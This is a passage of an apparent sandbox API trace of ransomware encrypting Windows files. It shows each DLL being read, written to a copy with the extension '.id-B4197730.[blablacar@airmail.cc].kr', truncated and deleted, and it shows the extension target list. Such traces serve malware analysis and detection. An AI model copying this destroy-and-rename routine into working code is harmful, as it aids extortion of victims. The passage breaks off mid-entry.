(lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0106.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0106.246] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=21184) returned 1 [0106.246] CloseHandle (hObject=0x340) returned 1 [0106.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0106.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0106.247] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.247] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0106.248] GetLastError () returned 0x0 [0106.248] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0106.256] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0106.257] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.257] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x122, lpOverlapped=0x0) returned 1 [0106.257] SetEndOfFile (hFile=0x394) returned 1 [0106.481] CloseHandle (hObject=0x394) returned 1 [0106.482] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.482] SetEndOfFile (hFile=0x340) returned 1 [0106.483] CloseHandle (hObject=0x340) returned 1 [0106.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.483] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0106.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0106.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0106.825] lstrlenW (lpString=".doc") returned 4 [0106.825] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.826] lstrlenW (lpString=".docx") returned 5 [0106.826] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.826] lstrlenW (lpString=".pdf") returned 4 [0106.826] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.826] lstrlenW (lpString=".xls") returned 4 [0106.826] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.826] lstrlenW (lpString=".xlsx") returned 5 [0106.826] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.826] lstrlenW (lpString=".ppt") returned 4 [0106.826] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0106.826] lstrlenW (lpString=".zip") returned 4 [0106.826] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.826] lstrlenW (lpString=".rar") returned 4 [0106.826] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.826] lstrlenW (lpString=".bz2") returned 4 [0106.826] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.826] lstrlenW (lpString=".7z") returned 3 [0106.826] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0106.826] lstrlenW (lpString=".dbf") returned 4 [0106.826] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0106.826] lstrlenW (lpString=".1cd") returned 4 [0106.826] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0106.827] lstrlenW (lpString=".jpg") returned 4 [0106.827] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0106.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0106.827] lstrlenW (lpString=".doc") returned 4 [0106.827] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.827] lstrlenW (lpString=".docx") returned 5 [0106.827] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.827] lstrlenW (lpString=".pdf") returned 4 [0106.827] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.827] lstrlenW (lpString=".xls") returned 4 [0106.827] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.827] lstrlenW (lpString=".xlsx") returned 5 [0106.827] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.827] lstrlenW (lpString=".ppt") returned 4 [0106.827] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0106.827] lstrlenW (lpString=".zip") returned 4 [0106.827] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.827] lstrlenW (lpString=".rar") returned 4 [0106.827] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.827] lstrlenW (lpString=".bz2") returned 4 [0106.828] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.828] lstrlenW (lpString=".7z") returned 3 [0106.828] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0106.828] lstrlenW (lpString=".dbf") returned 4 [0106.828] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0106.828] lstrlenW (lpString=".1cd") returned 4 [0106.828] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0106.828] lstrlenW (lpString=".jpg") returned 4 [0106.828] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.828] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.828] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0106.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0106.829] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=22720) returned 1 [0106.829] CloseHandle (hObject=0x34c) returned 1 [0106.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0106.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0106.829] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.829] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0106.830] GetLastError () returned 0x0 [0106.830] ReadFile (in: hFile=0x34c, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x58c0, lpOverlapped=0x0) returned 1 [0106.833] WriteFile (in: hFile=0x338, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x58d0, lpOverlapped=0x0) returned 1 [0106.834] ReadFile (in: hFile=0x34c, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.834] WriteFile (in: hFile=0x338, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x116, lpOverlapped=0x0) returned 1 [0106.835] SetEndOfFile (hFile=0x338) returned 1 [0106.835] CloseHandle (hObject=0x338) returned 1 [0106.837] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.837] SetEndOfFile (hFile=0x34c) returned 1 [0106.838] CloseHandle (hObject=0x34c) returned 1 [0106.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.838] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0106.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0106.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0106.839] lstrlenW (lpString=".doc") returned 4 [0106.839] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.839] lstrlenW (lpString=".docx") returned 5 [0106.839] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.839] lstrlenW (lpString=".pdf") returned 4 [0106.839] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.839] lstrlenW (lpString=".xls") returned 4 [0106.839] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.839] lstrlenW (lpString=".xlsx") returned 5 [0106.839] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.839] lstrlenW (lpString=".ppt") returned 4 [0106.839] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0106.839] lstrlenW (lpString=".zip") returned 4 [0106.839] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.839] lstrlenW (lpString=".rar") returned 4 [0106.839] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.839] lstrlenW (lpString=".bz2") returned 4 [0106.839] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.840] lstrlenW (lpString=".7z") returned 3 [0106.840] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0106.840] lstrlenW (lpString=".dbf") returned 4 [0106.840] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0106.840] lstrlenW (lpString=".1cd") returned 4 [0106.840] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0106.840] lstrlenW (lpString=".jpg") returned 4 [0106.840] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0106.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0106.840] lstrlenW (lpString=".doc") returned 4 [0106.840] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.840] lstrlenW (lpString=".docx") returned 5 [0106.840] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.840] lstrlenW (lpString=".pdf") returned 4 [0106.840] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.840] lstrlenW (lpString=".xls") returned 4 [0106.840] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.840] lstrlenW (lpString=".xlsx") returned 5 [0106.840] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.840] lstrlenW (lpString=".ppt") returned 4 [0106.840] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0106.841] lstrlenW (lpString=".zip") returned 4 [0106.841] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.841] lstrlenW (lpString=".rar") returned 4 [0106.841] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.841] lstrlenW (lpString=".bz2") returned 4 [0106.841] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.841] lstrlenW (lpString=".7z") returned 3 [0106.841] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0106.841] lstrlenW (lpString=".dbf") returned 4 [0106.841] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0106.841] lstrlenW (lpString=".1cd") returned 4 [0106.841] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0106.842] lstrlenW (lpString=".jpg") returned 4 [0106.842] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.842] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.842] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0106.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0106.843] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=19136) returned 1 [0106.843] CloseHandle (hObject=0x34c) returned 1 [0106.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0106.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0106.843] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.843] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0106.844] GetLastError () returned 0x0 [0106.844] ReadFile (in: hFile=0x34c, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0106.846] WriteFile (in: hFile=0x338, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0106.848] ReadFile (in: hFile=0x34c, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.848] WriteFile (in: hFile=0x338, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11e, lpOverlapped=0x0) returned 1 [0106.848] SetEndOfFile (hFile=0x338) returned 1 [0106.848] CloseHandle (hObject=0x338) returned 1 [0106.850] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.850] SetEndOfFile (hFile=0x34c) returned 1 [0106.851] CloseHandle (hObject=0x34c) returned 1 [0106.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.851] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0106.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0106.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0106.853] lstrlenW (lpString=".doc") returned 4 [0106.853] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.853] lstrlenW (lpString=".docx") returned 5 [0106.853] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.853] lstrlenW (lpString=".pdf") returned 4 [0106.853] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.853] lstrlenW (lpString=".xls") returned 4 [0106.853] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.853] lstrlenW (lpString=".xlsx") returned 5 [0106.853] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.853] lstrlenW (lpString=".ppt") returned 4 [0106.853] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0106.853] lstrlenW (lpString=".zip") returned 4 [0106.853] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.853] lstrlenW (lpString=".rar") returned 4 [0106.853] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.853] lstrlenW (lpString=".bz2") returned 4 [0106.853] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.853] lstrlenW (lpString=".7z") returned 3 [0106.853] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0106.854] lstrlenW (lpString=".dbf") returned 4 [0106.854] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0106.854] lstrlenW (lpString=".1cd") returned 4 [0106.854] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0106.854] lstrlenW (lpString=".jpg") returned 4 [0106.854] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0106.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0106.854] lstrlenW (lpString=".doc") returned 4 [0106.854] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.854] lstrlenW (lpString=".docx") returned 5 [0106.854] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.854] lstrlenW (lpString=".pdf") returned 4 [0106.854] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.854] lstrlenW (lpString=".xls") returned 4 [0106.854] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.854] lstrlenW (lpString=".xlsx") returned 5 [0106.854] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.854] lstrlenW (lpString=".ppt") returned 4 [0106.854] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0106.854] lstrlenW (lpString=".zip") returned 4 [0106.855] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.855] lstrlenW (lpString=".rar") returned 4 [0106.855] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.855] lstrlenW (lpString=".bz2") returned 4 [0106.855] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.855] lstrlenW (lpString=".7z") returned 3 [0106.855] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0106.855] lstrlenW (lpString=".dbf") returned 4 [0106.855] lstrcmpiW (lpString1=".dbf", lpString2=".dll") 